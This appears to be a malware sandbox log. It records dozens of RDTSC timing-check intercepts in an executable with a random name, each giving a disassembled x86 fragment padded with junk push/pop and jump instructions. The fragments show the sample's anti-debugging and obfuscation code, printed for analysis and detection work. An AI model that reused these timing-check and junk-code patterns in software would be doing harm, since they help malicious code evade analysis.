Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F7EC3C second address: F7EC55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5060E412F1h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F7EC55 second address: F7EC62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5060CC42C6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F7EC62 second address: F7EC6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F7EC6A second address: F7EC6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F7E926 second address: F7E942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jns 00007F5060E412E6h 0x00000010 jnp 00007F5060E412E6h 0x00000016 popad 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F93058 second address: F9305F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F93338 second address: F9333C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F9333C second address: F93346 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F93664 second address: F93675 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push ebx 0x00000008 pushad 0x00000009 jnc 00007F5060E412E6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F93D78 second address: F93D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F93D7E second address: F93D82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F93D82 second address: F93D8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F93D8E second address: F93D92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F9832F second address: F98336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F98336 second address: F9833C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F9833C second address: F98340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F98543 second address: F985BA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5060E412E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5060E412ECh 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F5060E412E8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b call 00007F5060E412F2h 0x00000030 or dx, 1845h 0x00000035 pop edx 0x00000036 push 00000004h 0x00000038 or dx, 352Dh 0x0000003d call 00007F5060E412E9h 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F5060E412F7h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F985BA second address: F985BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F985BE second address: F985D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a js 00007F5060E412E6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F985D0 second address: F98602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jng 00007F5060CC42DDh 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F98895 second address: F9889B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F9889B second address: F9889F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F9BCB5 second address: F9BCB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F9BCB9 second address: F9BCBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5310399 second address: 531039F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53307CF second address: 53307E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5060CC42D1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53307E4 second address: 53307E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53307E8 second address: 533087D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F5060CC42CCh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F5060CC42D0h 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F5060CC42CEh 0x0000001d add cx, C388h 0x00000022 jmp 00007F5060CC42CBh 0x00000027 popfd 0x00000028 mov ecx, 46A60FFFh 0x0000002d popad 0x0000002e xchg eax, ecx 0x0000002f pushad 0x00000030 call 00007F5060CC42D0h 0x00000035 mov ch, 84h 0x00000037 pop edi 0x00000038 jmp 00007F5060CC42CCh 0x0000003d popad 0x0000003e push eax 0x0000003f jmp 00007F5060CC42CBh 0x00000044 xchg eax, ecx 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F5060CC42D5h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 533087D second address: 5330883 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330883 second address: 5330887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330887 second address: 53308B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5060E412F5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53308B8 second address: 53308BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53308BE second address: 53308C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53308C2 second address: 53308F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5060CC42D4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53308F2 second address: 5330919 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5060E412F5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330919 second address: 533093D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bx, 4310h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c lea eax, dword ptr [ebp-04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5060CC42D1h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 533093D second address: 5330941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330941 second address: 5330947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330947 second address: 533094D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 533094D second address: 5330951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330951 second address: 533097F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F5060E412F2h 0x0000000e push eax 0x0000000f jmp 00007F5060E412EBh 0x00000014 nop 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 533097F second address: 5330983 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330983 second address: 5330989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330989 second address: 533098F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53309D1 second address: 5330A1B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F5060E412EEh 0x0000000c sub eax, 220A70D8h 0x00000012 jmp 00007F5060E412EBh 0x00000017 popfd 0x00000018 popad 0x00000019 cmp dword ptr [ebp-04h], 00000000h 0x0000001d jmp 00007F5060E412F6h 0x00000022 mov esi, eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330A1B second address: 5330A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330A1F second address: 5330A23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330A23 second address: 5330A29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330A29 second address: 5330A2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330A2F second address: 5330A62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F5060CC430Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5060CC42D7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330A62 second address: 5330A6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 6548CA6Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330A97 second address: 5330A9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330A9D second address: 5330ABA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5060E412F9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330ABA second address: 5330ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330ABE second address: 5330AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5060E412F8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5330AE1 second address: 5320009 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 movsx ebx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c leave 0x0000000d jmp 00007F5060CC42D4h 0x00000012 retn 0004h 0x00000015 nop 0x00000016 sub esp, 04h 0x00000019 xor ebx, ebx 0x0000001b cmp eax, 00000000h 0x0000001e je 00007F5060CC442Ah 0x00000024 mov dword ptr [esp], 0000000Dh 0x0000002b call 00007F50652F0461h 0x00000030 mov edi, edi 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 mov cx, 0513h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320009 second address: 5320036 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushfd 0x00000009 jmp 00007F5060E412F2h 0x0000000e or eax, 03BA5F98h 0x00000014 jmp 00007F5060E412EBh 0x00000019 popfd 0x0000001a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320036 second address: 53200AA instructions: 0x00000000 rdtsc 0x00000002 call 00007F5060CC42D8h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c pushad 0x0000000d movzx ecx, di 0x00000010 pushfd 0x00000011 jmp 00007F5060CC42D9h 0x00000016 add ax, 2E96h 0x0000001b jmp 00007F5060CC42D1h 0x00000020 popfd 0x00000021 popad 0x00000022 mov dword ptr [esp], ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F5060CC42D8h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53200AA second address: 53200B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53200B0 second address: 53200E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, al 0x00000005 mov eax, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c jmp 00007F5060CC42CBh 0x00000011 sub esp, 2Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F5060CC42D5h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53200E1 second address: 53200FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53200FD second address: 5320101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320101 second address: 5320107 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320107 second address: 5320185 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 mov dx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F5060CC42D9h 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F5060CC42CCh 0x00000019 adc si, DF68h 0x0000001e jmp 00007F5060CC42CBh 0x00000023 popfd 0x00000024 mov cx, 915Fh 0x00000028 popad 0x00000029 xchg eax, edi 0x0000002a jmp 00007F5060CC42D2h 0x0000002f push eax 0x00000030 jmp 00007F5060CC42CBh 0x00000035 xchg eax, edi 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F5060CC42D0h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320185 second address: 5320194 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320194 second address: 532019A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 532019A second address: 532019E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 532019E second address: 53201A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53201F5 second address: 53201FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53202B6 second address: 53202BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53202BA second address: 53202C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320315 second address: 532031B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 532031B second address: 5320365 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5060E412F0h 0x00000009 adc eax, 3DC5AE48h 0x0000000f jmp 00007F5060E412EBh 0x00000014 popfd 0x00000015 mov edx, esi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test eax, eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007F5060E412F7h 0x00000024 mov ah, CBh 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320365 second address: 53203A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F50D14023E3h 0x00000010 pushad 0x00000011 mov eax, 4605DA8Fh 0x00000016 mov cl, 90h 0x00000018 popad 0x00000019 js 00007F5060CC4314h 0x0000001f jmp 00007F5060CC42D7h 0x00000024 cmp dword ptr [ebp-14h], edi 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53203A4 second address: 53203A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53203A8 second address: 53203AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53203AE second address: 53203DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F50D157F3C5h 0x0000000f jmp 00007F5060E412F0h 0x00000014 mov ebx, dword ptr [ebp+08h] 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a mov al, 71h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53203DA second address: 53203FB instructions: 0x00000000 rdtsc 0x00000002 mov dx, 920Ch 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c jmp 00007F5060CC42CEh 0x00000011 xchg eax, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53203FB second address: 53203FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 53203FF second address: 5320405 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 5320405 second address: 532042A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx eax, bx 0x00000010 mov ebx, 3EEA2ACCh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 532042A second address: 532043C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, eax 0x00000005 movzx eax, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 532043C second address: 532044C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: 532044C second address: 5320482 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F5060CC42CBh 0x00000013 jmp 00007F5060CC42D3h 0x00000018 popfd 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
